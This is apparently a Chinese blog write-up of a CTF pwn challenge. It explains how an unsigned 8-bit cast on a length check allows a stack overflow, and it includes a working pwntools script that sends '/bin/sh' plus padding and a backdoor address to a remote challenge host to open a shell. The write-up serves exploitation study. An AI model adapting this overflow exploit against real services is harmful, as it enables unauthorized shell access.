sictf-[签到]stack

最近刚开始学习pwn,来复现一下打完的sictf的一道pwn签到题目

题目

图片[1],sictf-[签到]stack,网络安全爱好者中心-神域博客网

思路

先下载附件,拿到ida里反汇编看一下

图片[2],sictf-[签到]stack,网络安全爱好者中心-神域博客网
图片[3],sictf-[签到]stack,网络安全爱好者中心-神域博客网
图片[4],sictf-[签到]stack,网络安全爱好者中心-神域博客网
图片[5],sictf-[签到]stack,网络安全爱好者中心-神域博客网
图片[6],sictf-[签到]stack,网络安全爱好者中心-神域博客网

其中setup函数是初始化的,我们主要看run函数

大致意思就是定义了一个buf数组和nbyte变量,然后先读入nbytes的值,然后read函数根据nbytes的大小来读入buf数组,其中对nbytes有一个检测,不能超过0x40(64),要不然会直接退出,乍一看这个不会导致栈溢出,但是仔细看if语句

图片[7],sictf-[签到]stack,网络安全爱好者中心-神域博客网

对nbytes有个类型转换,unsigned_int8 是c语言中无符号的8位整数,范围为0-255,如果超过了255则取对256取模的结果作为转换后的结果,而在read函数中传入的是unsigned int,这样我们就可以通过控制nbytes来造成栈溢出,ret跳转到后门函数

后门函数中,

图片[8],sictf-[签到]stack,网络安全爱好者中心-神域博客网

我们无法控制a1的值,再看run函数,read之后会执行strdup函数

图片[9],sictf-[签到]stack,网络安全爱好者中心-神域博客网

在64位汇编中,一般用rax寄存器来保存返回值,所以我们rax寄存器会保存字符串的指针

图片[10],sictf-[签到]stack,网络安全爱好者中心-神域博客网

再看system函数,在调用之前会吧rax寄存器赋值到rdi寄存器,rdi也就是调用函数的第一个参数,这样我们可以把/bin/sh 写入到数组中从而获取shell

exp

先本地找一下偏移量

图片[11],sictf-[签到]stack,网络安全爱好者中心-神域博客网

88减去/bin/sh\x00也就是80

python脚本

from pwn import *
p=remote("yuanshen.life",40142)

backdoor = 0x4011f4
p.recvuntil(b'length: ')
p.sendline(b'256')
p.recvuntil(b'command: ')
payload=b'/bin/sh\x00'+b'a' * 80+p64(backdoor)

p.send(payload)
p.interactive()
图片[12],sictf-[签到]stack,网络安全爱好者中心-神域博客网
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞10 分享
评论 共1条

请登录后发表评论

    • 头像Jenifer Trantow0